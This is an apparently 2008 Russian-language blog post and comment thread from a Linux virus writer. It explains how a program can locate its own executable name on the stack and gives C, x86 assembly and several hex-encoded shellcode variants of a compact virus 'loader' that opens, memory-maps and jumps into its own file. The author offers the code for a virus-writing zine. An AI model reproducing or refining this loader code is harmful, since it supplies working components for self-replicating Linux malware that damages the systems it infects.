herm1t LIVE!ng room - Имя исполняемого файла [entries|archive|friends|userinfo]
herm1t

[ website | twilight corner in the herm1t's cave ]
[ userinfo | ljr userinfo ]
[ archive | journal archive ]

Имя исполняемого файла [Jun. 19th, 2008|03:35 pm]
Previous Entry Add to Memories Tell A Friend Next Entry
Фиг знает когда еще увидел, что ядро кладет в конец стека имя запущенного файла. Полезная такая фишка. Можно было тупо полистать вниз от BFFFFFFF. На 2.6 естественно не работало. Сейчас начал писать туториал по линуксовым вирям и вспомнил про эту штуку, проще уж некуда:
  for (i = 0; envp[i + 1]; i++) ;
  for (selfexe = envp[i]; *selfexe++; ) ;
UPD можно в загрузчике пару байт выгадать, такой вот заменой:
                pusha
#                pushl   $0x00006578
#                pushl   $0x652f666c
#                pushl   $0x65732f63
#                pushl   $0x6f72702f
#                mov     %esp,%ebx

        mov     32(%esp), %edi
        lea     40(%esp), %ecx
        lea     (%ecx,%edi,4), %edi
        repnz   scas (%edi), %eax
        mov     -8(%edi), %edi
        repnz   scas (%edi), %al
        xchg    %ebx, %edi
UPD не такой красивый, но более отъявленный вариант:
 0000 60958b5c 242468## ######89 c1b005cd
 0010 8050b001 50505051 89e3b05a cd80ffe0
или даже так:
 0000 60958b5c 242468aa 55aa55b0 05cd8050
 0010 b0015050 505189e3 b05acd80 ffe0
P.S. добавить, что ли его в caveat, правда, [info]izee_eof@lj наверное уже задолбался, обновленные варианты разгребать, а? подожду-ка я submission deadline Ж-)

а вот в более правильном варианте еще бы байтик один убрать, чтобы не торчало...

 0000 60958b7c 24208d4c 24288d3c b9f2af8b
 0010 7ff8f2ae 89fb68aa 55aa55e9 00000000
 0020 89c1b005 cd8050b0 01505050 5189e3b0
 0030 5acd80ff e0
LinkLeave a comment

Comments:
From:[info]izee_eof@lj
Date:June 24th, 2008 - 04:52 pm
(Link)
Вероятно, дедлайн будет в следующем месяце. Можно прямо сейчас и контрибутить, чтобы в последние дни не разгребаться. ;-)
From:[info]t1mreh@lj
Date:June 25th, 2008 - 04:42 am
(Link)
Ж-) btw, а что RRLF отвалились? чей-то они?
From:[info]izee_eof@lj
Date:June 25th, 2008 - 02:56 pm
(Link)
Так получилось, что со стороны RRLF вложить было практически нечего, но, так или иначе, журнальчику они помогли (хоть и менталитетно).
From:[info]t1mreh@lj
Date:June 25th, 2008 - 04:55 pm
(Link)
ясно.